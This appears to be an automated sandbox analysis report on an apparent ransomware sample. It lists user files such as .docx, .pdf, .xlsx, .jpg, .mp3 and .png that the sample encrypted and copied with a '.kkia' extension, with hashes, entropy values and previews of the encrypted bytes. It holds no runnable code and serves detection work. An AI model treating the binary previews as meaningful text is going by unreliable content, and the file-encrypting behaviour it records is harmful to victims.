Encrypted:	false
SSDEEP:	24:FmU52myx5PubsYHsDx6G0jlXzUeO6/e7cyDAb+2yNgeCWqY0AQcS7rY0Ro6l7kbD:FHpyjPT9ejxzz/kcyDU+zEWqYLQHs0aN
MD5:	6F2B07AC3F4E19F136CAC5644C0230D6
SHA1:	3C6BB1CB9C5EB66D10DFD25DFE760EC973D44BCA
SHA-256:	24BBE49F8AAFD4DA9BBFB647F1B588CF98D50509E216E17B4AFAE21E2A210248
SHA-512:	2FDE6A2979157390FF435EE8668638F4A5310BB66F580DE59DEF69C7068AAA7EC61C55816CFF14D4C9E42F204EC955593BBB2C7F54DB94CDFF8EA56CC0302442
Malicious:	false
Preview:	NVWZA.Y..FA..%.......'.X.....x.,....~..-..9V...M.`,....?....$..j." 0%.he.[.I<A3..)\|,V.\|...1.A..L.?..'.".$..z).Q.....>E~+...LH......J.b.L.V...O<....b.......X~....U.-(.A....iS.twi.D.85..._w......%................H6).......\(.h.\Z9:..Y9.(.7.@P....]+V..r.&._6..).S=.?.`.W9...Ip...5O.8.X.%.]....o?8.UA..H....?%.M...+...=.Q\|U.....(...?a...S.......re..O;1...Z.... LA......%E...3...q.b...1DN.A.........B.!!...Y.NF.......v.}..X......ni.R.Bq....~J.vJ...B.^.P.......k1..._=r..!...X(A>g......f.c1.j.x.[.E.2.^Q..r.;.+b.p9q.>.].+I..M..._..,.^.g)..T?.{......#j....K0.._1C...X..P.u..............m..d..g.B.~..]...$.?&.d.6-.2..../$.K5.....z.c.........zZ.WK.QM..7.@!..>..6...L......!.s.'l{Jf..[._...U...m.;.'.j..$...dF.>..f.1-.>...5...j.T..&.k..W..)M.\..<.~.....8.,..T...;...:M.j...\..w...Qj.....H...._..2....Vz.....V6...e.....Y.P..A.M....e..Z.yX..gT...`.z..i..o..V!.88.Tc.../Bl.P.&.v.L..6..}..x..&..f....E.d/..?M.m2.....LI...<_.Q........<......+...........p.W..38.e.'.

C:\Users\user\Documents\NVWZAPQSQL.xlsx.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8585814525678686
Encrypted:	false
SSDEEP:	24:FmU52myx5PubsYHsDx6G0jlXzUeO6/e7cyDAb+2yNgeCWqY0AQcS7rY0Ro6l7kbD:FHpyjPT9ejxzz/kcyDU+zEWqYLQHs0aN
MD5:	6F2B07AC3F4E19F136CAC5644C0230D6
SHA1:	3C6BB1CB9C5EB66D10DFD25DFE760EC973D44BCA
SHA-256:	24BBE49F8AAFD4DA9BBFB647F1B588CF98D50509E216E17B4AFAE21E2A210248
SHA-512:	2FDE6A2979157390FF435EE8668638F4A5310BB66F580DE59DEF69C7068AAA7EC61C55816CFF14D4C9E42F204EC955593BBB2C7F54DB94CDFF8EA56CC0302442
Malicious:	false
Preview:	NVWZA.Y..FA..%.......'.X.....x.,....~..-..9V...M.`,....?....$..j." 0%.he.[.I<A3..)\|,V.\|...1.A..L.?..'.".$..z).Q.....>E~+...LH......J.b.L.V...O<....b.......X~....U.-(.A....iS.twi.D.85..._w......%................H6).......\(.h.\Z9:..Y9.(.7.@P....]+V..r.&._6..).S=.?.`.W9...Ip...5O.8.X.%.]....o?8.UA..H....?%.M...+...=.Q\|U.....(...?a...S.......re..O;1...Z.... LA......%E...3...q.b...1DN.A.........B.!!...Y.NF.......v.}..X......ni.R.Bq....~J.vJ...B.^.P.......k1..._=r..!...X(A>g......f.c1.j.x.[.E.2.^Q..r.;.+b.p9q.>.].+I..M..._..,.^.g)..T?.{......#j....K0.._1C...X..P.u..............m..d..g.B.~..]...$.?&.d.6-.2..../$.K5.....z.c.........zZ.WK.QM..7.@!..>..6...L......!.s.'l{Jf..[._...U...m.;.'.j..$...dF.>..f.1-.>...5...j.T..&.k..W..)M.\..<.~.....8.,..T...;...:M.j...\..w...Qj.....H...._..2....Vz.....V6...e.....Y.P..A.M....e..Z.yX..gT...`.z..i..o..V!.88.Tc.../Bl.P.&.v.L..6..}..x..&..f....E.d/..?M.m2.....LI...<_.Q........<......+...........p.W..38.e.'.

C:\Users\user\Documents\NVWZAPQSQL\EIVQSAOTAQ.pdf

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.847589355921675
Encrypted:	false
SSDEEP:	24:RYiKyq3K6AKXDz8t2+RJko8X8GZpdwAHqjMrKkzj+EBlQkbD:dq66AQ8t2kGiwpRHBekzPBltD
MD5:	01C69EF784B717381252F67586B97F62
SHA1:	1F32ED1F930EB65AC20B4831FA2986B4B2001795
SHA-256:	7E782FEDD991C20FEC0A2AE837E41463BDDCF94E7FF34CFCF0AEB7A9BC1CCD64
SHA-512:	D04A2D254AF345897E4498835E9972888E926AFB3D73285ABEA5540E51E1F581FD0B123A7320EF788966C1F519AB0AED4548AC70547E64AF79EBA35585007188
Malicious:	false
Preview:	EIVQS^...$pH,F.0....)."...3... 8>]...W)>.l..3^....sz..[...6..%...%..<A...43..b...x..QY..2.....i..00........o.S..X.3o.N..[..]m..=.#.S.?......#.^..Ur...F..-........Z.kz.;..?@...Q.AW........E.C./...F\|by..d.........jnF..,\|U.Lja.lF+....Y[..V.._i........E.T....`..U=-.L.flH ..b..=n}.7,`%h.PVz@.)'lTu)0.~9Ub.P.B.#!.S =k..Q.M.38..Tw".goVQ..r......Px.\..{.{.;[..`R..e.;t.9...q.9+..6.$..qx8z.<......\|%o;....`.q...\r.m.F?!6..SS.;....H.o.H......p~..\_.]MO...Ny....S..,.cd..H-X.....[..#@Kw.eP......ad.8.-..4<%.....b..f..0...a....@..l`"M\|....r~.....{.k......V..}L..vx.48h..@....l.e...6...&.y.....P{..P ...l!Y.`.G<..eQ...[......\x...j.y.U....c:.d:.v@GL..E.Rf./..u.$.........\OH..V../mK.]..P'l........Kn..9&V....t.kVI...)+.g.5Y...?.{..\|...\|.t,.3.5...u.S..d.O.\....Wk...+5kk&gg.T.w.d..?.DD.o..a.[..oFy..5....6_...c.W...[Y.<ZyWO..~..o...>@..{..[..sojQ..!2.l...V...3mq..1.....o..b.....x8}.+.Rd.....=..t..p...I;..qS..uJ.<.....r..\|...H.:..I]..P.5)..

C:\Users\user\Documents\NVWZAPQSQL\EIVQSAOTAQ.pdf.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.847589355921675
Encrypted:	false
SSDEEP:	24:RYiKyq3K6AKXDz8t2+RJko8X8GZpdwAHqjMrKkzj+EBlQkbD:dq66AQ8t2kGiwpRHBekzPBltD
MD5:	01C69EF784B717381252F67586B97F62
SHA1:	1F32ED1F930EB65AC20B4831FA2986B4B2001795
SHA-256:	7E782FEDD991C20FEC0A2AE837E41463BDDCF94E7FF34CFCF0AEB7A9BC1CCD64
SHA-512:	D04A2D254AF345897E4498835E9972888E926AFB3D73285ABEA5540E51E1F581FD0B123A7320EF788966C1F519AB0AED4548AC70547E64AF79EBA35585007188
Malicious:	false
Preview:	EIVQS^...$pH,F.0....)."...3... 8>]...W)>.l..3^....sz..[...6..%...%..<A...43..b...x..QY..2.....i..00........o.S..X.3o.N..[..]m..=.#.S.?......#.^..Ur...F..-........Z.kz.;..?@...Q.AW........E.C./...F\|by..d.........jnF..,\|U.Lja.lF+....Y[..V.._i........E.T....`..U=-.L.flH ..b..=n}.7,`%h.PVz@.)'lTu)0.~9Ub.P.B.#!.S =k..Q.M.38..Tw".goVQ..r......Px.\..{.{.;[..`R..e.;t.9...q.9+..6.$..qx8z.<......\|%o;....`.q...\r.m.F?!6..SS.;....H.o.H......p~..\_.]MO...Ny....S..,.cd..H-X.....[..#@Kw.eP......ad.8.-..4<%.....b..f..0...a....@..l`"M\|....r~.....{.k......V..}L..vx.48h..@....l.e...6...&.y.....P{..P ...l!Y.`.G<..eQ...[......\x...j.y.U....c:.d:.v@GL..E.Rf./..u.$.........\OH..V../mK.]..P'l........Kn..9&V....t.kVI...)+.g.5Y...?.{..\|...\|.t,.3.5...u.S..d.O.\....Wk...+5kk&gg.T.w.d..?.DD.o..a.[..oFy..5....6_...c.W...[Y.<ZyWO..~..o...>@..{..[..sojQ..!2.l...V...3mq..1.....o..b.....x8}.+.Rd.....=..t..p...I;..qS..uJ.<.....r..\|...H.:..I]..P.5)..

C:\Users\user\Documents\NVWZAPQSQL\NVWZAPQSQL.docx

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.820820246580789
Encrypted:	false
SSDEEP:	24:FNoGBjRNIoCUryrNFX/TxwokB8b6IIb2R1X2798k6PvlT4nNYirXC5HoIkbD:FVTNWpFX/1JkBKa2Rgp6lT8eiIHqD
MD5:	5B4EB2FF73B93952A5A239550FEA1A93
SHA1:	5319115481C35BFDD61CF8DE42DBEA8DC2244A7B
SHA-256:	418C499FA21A718500994CA7D90C8E4CA42AE4A9806CB716ADF7A630D92753FE
SHA-512:	ACBDB7522F1184CE719E47A978EF70801891310575114202D9BA5FB644268E881C0A5D548DFB88D0571C2D9DF779E21006FA9449ED5C43F623C1891B2827D039
Malicious:	false
Preview:	NVWZAyQ.$o.z..JEN..gF.u.i....ywL..7?;sB....J<.....C...3........!....Bm.'R"_... ...a...%5......`.. ......3Pa!..E...G.e....\....eg........i%qe..}g.....p....U..B562^.v....]9..y...L..\|......=^Y.&.M.#s.AT..}..=.6.i."..<...+.+._U.z.][xm(...%..(z..\|`j......]Zy.UD..N...ZE....7\...E.........@..h-w...%).....WmT....M...=..}.).....<.Y..`.. ...}..]....F.%.B.....)...4....<(.=...m...u.S/...NX."A..p.W..wh^.s...0yQ..0.......n..F.&s$.-...\%.h.wiGk.......$ .O-..;6d{..B....s.4St....kS.e..(\|.........X>]...o..W....9.;a...C..Y.z./.?...}.:.].<v....V..a[.n~..{......*..N.^...........4...F.[.g!..u.{..a].x[..s.s.d{...B.c9...K.fH.t.LTk..`..y.S.;..C.?W..ed.B.jQ.Z..is+.g.=......w.1.X.II.5....".ZpC]b..j.v...P/.T.b....sEx..5.}1.s......\.....N..EK..Zs...b.{.....sL.4..[.P.D,?N.../}m...T..:..^...j3,C.....~..2eG.t...Y......{4d+gB.\3..t.H....H/..4.......wq...<.N^.\|<d.._.A.J.Ve.....b.%..n9.#(....a.. .C...Bx.......{...j.....N..3`ME.W.b......izF.....3\|.Hj.g.l.....EkQ.7..mz9

C:\Users\user\Documents\NVWZAPQSQL\NVWZAPQSQL.docx.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.820820246580789
Encrypted:	false
SSDEEP:	24:FNoGBjRNIoCUryrNFX/TxwokB8b6IIb2R1X2798k6PvlT4nNYirXC5HoIkbD:FVTNWpFX/1JkBKa2Rgp6lT8eiIHqD
MD5:	5B4EB2FF73B93952A5A239550FEA1A93
SHA1:	5319115481C35BFDD61CF8DE42DBEA8DC2244A7B
SHA-256:	418C499FA21A718500994CA7D90C8E4CA42AE4A9806CB716ADF7A630D92753FE
SHA-512:	ACBDB7522F1184CE719E47A978EF70801891310575114202D9BA5FB644268E881C0A5D548DFB88D0571C2D9DF779E21006FA9449ED5C43F623C1891B2827D039
Malicious:	false
Preview:	NVWZAyQ.$o.z..JEN..gF.u.i....ywL..7?;sB....J<.....C...3........!....Bm.'R"_... ...a...%5......`.. ......3Pa!..E...G.e....\....eg........i%qe..}g.....p....U..B562^.v....]9..y...L..\|......=^Y.&.M.#s.AT..}..=.6.i."..<...+.+._U.z.][xm(...%..(z..\|`j......]Zy.UD..N...ZE....7\...E.........@..h-w...%).....WmT....M...=..}.).....<.Y..`.. ...}..]....F.%.B.....)...4....<(.=...m...u.S/...NX."A..p.W..wh^.s...0yQ..0.......n..F.&s$.-...\%.h.wiGk.......$ .O-..;6d{..B....s.4St....kS.e..(\|.........X>]...o..W....9.;a...C..Y.z./.?...}.:.].<v....V..a[.n~..{......*..N.^...........4...F.[.g!..u.{..a].x[..s.s.d{...B.c9...K.fH.t.LTk..`..y.S.;..C.?W..ed.B.jQ.Z..is+.g.=......w.1.X.II.5....".ZpC]b..j.v...P/.T.b....sEx..5.}1.s......\.....N..EK..Zs...b.{.....sL.4..[.P.D,?N.../}m...T..:..^...j3,C.....~..2eG.t...Y......{4d+gB.\3..t.H....H/..4.......wq...<.N^.\|<d.._.A.J.Ve.....b.%..n9.#(....a.. .C...Bx.......{...j.....N..3`ME.W.b......izF.....3\|.Hj.g.l.....EkQ.7..mz9

C:\Users\user\Documents\NVWZAPQSQL\PALRGUCVEH.xlsx

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.86443273764471
Encrypted:	false
SSDEEP:	24:JyzEhL18WjtOIqceGGJ3Z6iRFCf0T7xOoZV9R6AjDyk08JUYMKJ23L5kbD:z182OxcLGJp73T7xO0V9R6AfUYM2WgD
MD5:	776ABA524CA371C820EF5B9476ED4524
SHA1:	2537BAB7686F56F546512E044601EFE867397B40
SHA-256:	151289E68F6DADCD9033FFB2749E7A4B273DB7C70E89B8D62EA729B07C09575C
SHA-512:	587E9CDF429A2AD7CCA818507187EFB428CBE18CBAB37971F21BC203494213FBCE592B7D0F82606201E47876A9EB8B59B958BB24E05C6708DBC0F7447A7CBB01
Malicious:	false
Preview:	PALRGv'u..!.s.u%.+JLhB.....?..=1DB..).....M-..%e.(.Z.>..+...nj6HA..P'.i>..A.P......l.....O(47.f1..s..&r.X...2...}.G.....F..kb..+...P.1.....yh%T7..3.>....-.....r+..;I.=_Q....J.p._......ud2...4..w.. .Z.q..^...O`.w[.4...o/..f.._.o..W.%..H. ..13..V....F.R.....P..4).=jHR.j/...=.0..gs.6.0Z.ZqV.p.......q..%....h..Kt...KW..Wp.......F..p...K(.!....M\|...].O....n....[,tv.......:...K...r..{...}<.....I!........0...1H..?s...ymrs.V)\|.T.d.....g..;&......L..`[.vR4...... `xP...t4_.~[.N4n..%....[U...B...977..............Xi2f..(4.@...{.N.8..h....z.......g.....0.&6..X.O..p._...}.vU.h..F1.XA.S20........T....G.;&>..y..ZC.P...../^.+.b.....{..k.K83.....k....R..<..\2.m.a.-..2c^.._...~ebe.:...3.T....M)......N...5i2.=.\|.8../!.".L... .........4.2.MXc..W..vV..i(o..q;...a..v..F.L'.$..`]..0.....!H..0..qy;.:=..'.0...O_Ax.=$.;.5..<XeK..A..f~.....z.zZy...."..."lfM....L.%NF.#!...NnS.s.Q..d...W.h(T+...B.!0+...5.rq&.F!.59h...}c.Os.....%..4..S.N....N....lC..Y...B.h.N.

C:\Users\user\Documents\NVWZAPQSQL\PALRGUCVEH.xlsx.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.86443273764471
Encrypted:	false
SSDEEP:	24:JyzEhL18WjtOIqceGGJ3Z6iRFCf0T7xOoZV9R6AjDyk08JUYMKJ23L5kbD:z182OxcLGJp73T7xO0V9R6AfUYM2WgD
MD5:	776ABA524CA371C820EF5B9476ED4524
SHA1:	2537BAB7686F56F546512E044601EFE867397B40
SHA-256:	151289E68F6DADCD9033FFB2749E7A4B273DB7C70E89B8D62EA729B07C09575C
SHA-512:	587E9CDF429A2AD7CCA818507187EFB428CBE18CBAB37971F21BC203494213FBCE592B7D0F82606201E47876A9EB8B59B958BB24E05C6708DBC0F7447A7CBB01
Malicious:	false
Preview:	PALRGv'u..!.s.u%.+JLhB.....?..=1DB..).....M-..%e.(.Z.>..+...nj6HA..P'.i>..A.P......l.....O(47.f1..s..&r.X...2...}.G.....F..kb..+...P.1.....yh%T7..3.>....-.....r+..;I.=_Q....J.p._......ud2...4..w.. .Z.q..^...O`.w[.4...o/..f.._.o..W.%..H. ..13..V....F.R.....P..4).=jHR.j/...=.0..gs.6.0Z.ZqV.p.......q..%....h..Kt...KW..Wp.......F..p...K(.!....M\|...].O....n....[,tv.......:...K...r..{...}<.....I!........0...1H..?s...ymrs.V)\|.T.d.....g..;&......L..`[.vR4...... `xP...t4_.~[.N4n..%....[U...B...977..............Xi2f..(4.@...{.N.8..h....z.......g.....0.&6..X.O..p._...}.vU.h..F1.XA.S20........T....G.;&>..y..ZC.P...../^.+.b.....{..k.K83.....k....R..<..\2.m.a.-..2c^.._...~ebe.:...3.T....M)......N...5i2.=.\|.8../!.".L... .........4.2.MXc..W..vV..i(o..q;...a..v..F.L'.$..`]..0.....!H..0..qy;.:=..'.0...O_Ax.=$.;.5..<XeK..A..f~.....z.zZy...."..."lfM....L.%NF.#!...NnS.s.Q..d...W.h(T+...B.!0+...5.rq&.F!.59h...}c.Os.....%..4..S.N....N....lC..Y...B.h.N.

C:\Users\user\Documents\NVWZAPQSQL\TQDFJHPUIU.jpg

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.815051818767487
Encrypted:	false
SSDEEP:	24:Fb7mi5kZt+XPW5JpBkJkKSkcZ1oqYM5DtB9Ezp7dJ4oJd7W+EM+5kbD:Fb7kZ75PqcZ87Inqp7dJ4YRhD
MD5:	93E494CDEC360CC0E70D56CF0C30D1E5
SHA1:	53A4476D30B9B525D6B2581B47EC7BDC74B10C6E
SHA-256:	B063F459B7B837632FCEE8288CBA77AD4DE68D7CE08BCD3A6C8E03FA47A8A9E0
SHA-512:	9C4620C283EB895BFAD5865324999A1085878CEA09559C09B9714ADFF2DC34A44E07F87BA3E7C05666A12D7C9ED1453D2B9B89C3A492D0E1D7C873F2B5734881
Malicious:	false
Preview:	TQDFJrR....E.Yo5.t.=.............uQvg...Y.i}.#I.}.T&....(6:...E<......b{1.........x!..f.>}.x[yb..z.....r~>e.xP.:...V..+l&Y..B..;L.H].. 4.E.0...T.p\|..Z,.T...<."..O...^..a....o..1u..t .~.t.l.Y.....\|...f.$(.o..s.Nob...q.2.\t.....)..8MB..G..J.v=..-T..m.~...L.9........=.....P..W..eIjA&.L...uV...0...x.o]......+....xqhD.....sH:..F%.8.....s.Y...4T5..?U9...2.....h."...22....c..P)%..k.e.;N1Bh`]g.gs.....64..H#c........1....X.a.$4uB.<..`.~r..Z-.z.F.U........W^....3.E..e.6=..;)E..Cm.\|.5.}.ll..T......O(n..Dp.....R!.l.......8<.....;.%..wk'.-......8.....:Y....U.X.^c.D..h...Z.......-.4.58.]j'2..y.....#{:.5Q...]...D4.b...F.t.w..k.........$CmC.\|......p.]...<.MX...e.B.]@.....hG..+i....I..V...a...Sb^.'.s..^....0...n.q......kuUu+.e..B....@...t..8...x.\.yOW...+=.V..Q..f.R......1..&.<BUJw#..O.z(P#u...I........C.}..b).1.`;...<...Y!L...S....\...!.;.(.p.v.......q.I\B..,.B.9.b.D$.....Rk0.5C.^n....I.g..'......K#ZBm..a...i...f...:.0N..._....e..^...,"/?..;.r..

C:\Users\user\Documents\NVWZAPQSQL\TQDFJHPUIU.jpg.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.815051818767487
Encrypted:	false
SSDEEP:	24:Fb7mi5kZt+XPW5JpBkJkKSkcZ1oqYM5DtB9Ezp7dJ4oJd7W+EM+5kbD:Fb7kZ75PqcZ87Inqp7dJ4YRhD
MD5:	93E494CDEC360CC0E70D56CF0C30D1E5
SHA1:	53A4476D30B9B525D6B2581B47EC7BDC74B10C6E
SHA-256:	B063F459B7B837632FCEE8288CBA77AD4DE68D7CE08BCD3A6C8E03FA47A8A9E0
SHA-512:	9C4620C283EB895BFAD5865324999A1085878CEA09559C09B9714ADFF2DC34A44E07F87BA3E7C05666A12D7C9ED1453D2B9B89C3A492D0E1D7C873F2B5734881
Malicious:	false
Preview:	TQDFJrR....E.Yo5.t.=.............uQvg...Y.i}.#I.}.T&....(6:...E<......b{1.........x!..f.>}.x[yb..z.....r~>e.xP.:...V..+l&Y..B..;L.H].. 4.E.0...T.p\|..Z,.T...<."..O...^..a....o..1u..t .~.t.l.Y.....\|...f.$(.o..s.Nob...q.2.\t.....)..8MB..G..J.v=..-T..m.~...L.9........=.....P..W..eIjA&.L...uV...0...x.o]......+....xqhD.....sH:..F%.8.....s.Y...4T5..?U9...2.....h."...22....c..P)%..k.e.;N1Bh`]g.gs.....64..H#c........1....X.a.$4uB.<..`.~r..Z-.z.F.U........W^....3.E..e.6=..;)E..Cm.\|.5.}.ll..T......O(n..Dp.....R!.l.......8<.....;.%..wk'.-......8.....:Y....U.X.^c.D..h...Z.......-.4.58.]j'2..y.....#{:.5Q...]...D4.b...F.t.w..k.........$CmC.\|......p.]...<.MX...e.B.]@.....hG..+i....I..V...a...Sb^.'.s..^....0...n.q......kuUu+.e..B....@...t..8...x.\.yOW...+=.V..Q..f.R......1..&.<BUJw#..O.z(P#u...I........C.}..b).1.`;...<...Y!L...S....\...!.;.(.p.v.......q.I\B..,.B.9.b.D$.....Rk0.5C.^n....I.g..'......K#ZBm..a...i...f...:.0N..._....e..^...,"/?..;.r..

C:\Users\user\Documents\NVWZAPQSQL\UNKRLCVOHV.mp3

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854862920840151
Encrypted:	false
SSDEEP:	24:dqg6ZUdwPG4fQXeewbIV8POMJwc6eOvE4SSJxsrU5kbD:dqZ3u0QXeewbIn1PaScfD
MD5:	361234EE81A572CA1528C773F0B726F2
SHA1:	398C2478F7C6AE4F01EEF3036AA26A782E82CC9E
SHA-256:	94C2212716F5B7712FA2A2D72D2FE25A889392B64DB12257A7A4E69D6ADE6A89
SHA-512:	707C439C0174F50CAAD11120AA17AD6D180D899B546309D78621BE4A82859F1C7ED718A0E03764344E4AA9BEEE0365B1161BC7BA5A141DCEEBBA273C4CBB8F0A
Malicious:	false
Preview:	UNKRL..Qc,#..d.Y......]<..r.Y..%x..4.@...W]y.v..9\6.!......,.?e...ld9.;E.j...y!..C.n...KJ^..y..... .45...gP..d.HB..e..5s..y..q..^sNJ]z....+. ._..!.<..p.h0...........'+uB..t..l..6y.5..T.E1.v../wj.1..-)...c..3.:..[...H../..dQ^..0.=..2..v....z...........r"4.p#].<nl"..D.L.=......`.\|..J_.\9.5D..p..n2..... 2c.kj.."/........>...&...T/.(!C^>.zt.hq.^.;...A z..P.$8.y.p....D~..N;.^..^6...g...q.._e....d.2(.Zo{P...KH}..On.(I.7.R.yX.\...u...(l..z..h..t.......3#..n .t..M..I..ao:...l.iKU.u.....F..\|eC#..".K.......J...[...@......k._.i.)v....F.RY@...."&..I...M.1..(t.7.`....y.)y....3.N..^..._.}.G..:....u..#MD.!%r<...g."..G..E).....Z..\|.L^.lP.......:W.i.....j#....j}....;....Y..+i57..m$..Q#...B.\|.>&..Am......@.v.Q.F..)..._hoL+.o.&T$..e._.'.y.I...`I..D.r...1.....6..'}F.Q.@...6H..^.{.(...B._P^.IL.[..8'W..oqL..I.F.C...-...n...-....NKf..[...e#.......M..G...L.i.8.$`.$.....>KN....rp`87:....Q@B.t.w..W.....$T.u..YZ...L...M.e....C....(d....%.V..(....U.:....Qy.

C:\Users\user\Documents\NVWZAPQSQL\UNKRLCVOHV.mp3.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854862920840151
Encrypted:	false
SSDEEP:	24:dqg6ZUdwPG4fQXeewbIV8POMJwc6eOvE4SSJxsrU5kbD:dqZ3u0QXeewbIn1PaScfD
MD5:	361234EE81A572CA1528C773F0B726F2
SHA1:	398C2478F7C6AE4F01EEF3036AA26A782E82CC9E
SHA-256:	94C2212716F5B7712FA2A2D72D2FE25A889392B64DB12257A7A4E69D6ADE6A89
SHA-512:	707C439C0174F50CAAD11120AA17AD6D180D899B546309D78621BE4A82859F1C7ED718A0E03764344E4AA9BEEE0365B1161BC7BA5A141DCEEBBA273C4CBB8F0A
Malicious:	false
Preview:	UNKRL..Qc,#..d.Y......]<..r.Y..%x..4.@...W]y.v..9\6.!......,.?e...ld9.;E.j...y!..C.n...KJ^..y..... .45...gP..d.HB..e..5s..y..q..^sNJ]z....+. ._..!.<..p.h0...........'+uB..t..l..6y.5..T.E1.v../wj.1..-)...c..3.:..[...H../..dQ^..0.=..2..v....z...........r"4.p#].<nl"..D.L.=......`.\|..J_.\9.5D..p..n2..... 2c.kj.."/........>...&...T/.(!C^>.zt.hq.^.;...A z..P.$8.y.p....D~..N;.^..^6...g...q.._e....d.2(.Zo{P...KH}..On.(I.7.R.yX.\...u...(l..z..h..t.......3#..n .t..M..I..ao:...l.iKU.u.....F..\|eC#..".K.......J...[...@......k._.i.)v....F.RY@...."&..I...M.1..(t.7.`....y.)y....3.N..^..._.}.G..:....u..#MD.!%r<...g."..G..E).....Z..\|.L^.lP.......:W.i.....j#....j}....;....Y..+i57..m$..Q#...B.\|.>&..Am......@.v.Q.F..)..._hoL+.o.&T$..e._.'.y.I...`I..D.r...1.....6..'}F.Q.@...6H..^.{.(...B._P^.IL.[..8'W..oqL..I.F.C...-...n...-....NKf..[...e#.......M..G...L.i.8.$`.$.....>KN....rp`87:....Q@B.t.w..W.....$T.u..YZ...L...M.e....C....(d....%.V..(....U.:....Qy.

C:\Users\user\Documents\NVWZAPQSQL\ZIPXYXWIOY.png

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857308931476397
Encrypted:	false
SSDEEP:	24:TSQjW5YOJ2xwPvPZj5H2ub39OYhV2QJFUIed9i08CkAqNlo2SxEsmkbD:tjW5YPkH2ub3sYhkOlnuqNl8xBD
MD5:	EF8BEEBB262FD33477408005B3325F62
SHA1:	F38BD6EFEC7A712385B9C61EDE38C731447E5D7D
SHA-256:	BD9380EC108F3E374BE128CE43D0931E500EB1DBEBA2C668FBE659661BCFD686
SHA-512:	2F04392D008421E3B34D11CEB095E3CB3666A62385931CF22B9B10E82A2A969D8D4A490B4B54D3F0D08BD3D74B1BCCFFDFF7C04268EE7F2B4990FA88BEB9D4AE
Malicious:	false
Preview:	ZIPXYz.q...C..L.T~...]..d..P;..\|..mV.O..../.p.RD..f...F....Wk. ..i....-..f].a.H.....M....{jR0pi. 's...aN+.K+K..e..s.$.LS......E...(:.?.6.+.O8X.hS....J..2...6.<....3.Y......l....o.k6r........q..r.?~%T..J..9`GG....Vx.X3...z#.......y-{...GC..c7.-.+.}......T.....:.O..J..B....!..nf..w.o0...(..$....N..8.&...K;:..0=...>E.........0.......u..n..\|X]\..Ii.\lx.G.3....=......~..H.[..&...-94....y..w?..a......i4..%.....6....$..... ..+4.#$4W...-....=...94.6Nj...]...23..-/...gp^....z....+...C..3]m..A....q.r04y..........Uw..@......I...,zd...Z.b)../..T.y{..[.}.^....F.l...2.=.l...L^....}....0...u..l....M=._.1lInQ..}rP.4GZ...m.H..\|...`1..-.z]..F.c..e..._R.tc.........Z~?l}........)d7...n.wy..n..l. O6>U..m.x.....=+..X&.......i.m......[E......2Q5f...E....JO(/...6.Y;.`!.PC.-..Ig.....4.b......FW..<...........k.f..X..9..4.k..A.H{....u6.....b..4..........'FMxQn.U....B..Qo.:.....ZQqE..).....2"...<D...UK+..o~.[.....~y.{..^...=*=.....r.W.@.'&5......-3vxg....

C:\Users\user\Documents\NVWZAPQSQL\ZIPXYXWIOY.png.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857308931476397
Encrypted:	false
SSDEEP:	24:TSQjW5YOJ2xwPvPZj5H2ub39OYhV2QJFUIed9i08CkAqNlo2SxEsmkbD:tjW5YPkH2ub3sYhkOlnuqNl8xBD
MD5:	EF8BEEBB262FD33477408005B3325F62
SHA1:	F38BD6EFEC7A712385B9C61EDE38C731447E5D7D
SHA-256:	BD9380EC108F3E374BE128CE43D0931E500EB1DBEBA2C668FBE659661BCFD686
SHA-512:	2F04392D008421E3B34D11CEB095E3CB3666A62385931CF22B9B10E82A2A969D8D4A490B4B54D3F0D08BD3D74B1BCCFFDFF7C04268EE7F2B4990FA88BEB9D4AE
Malicious:	false
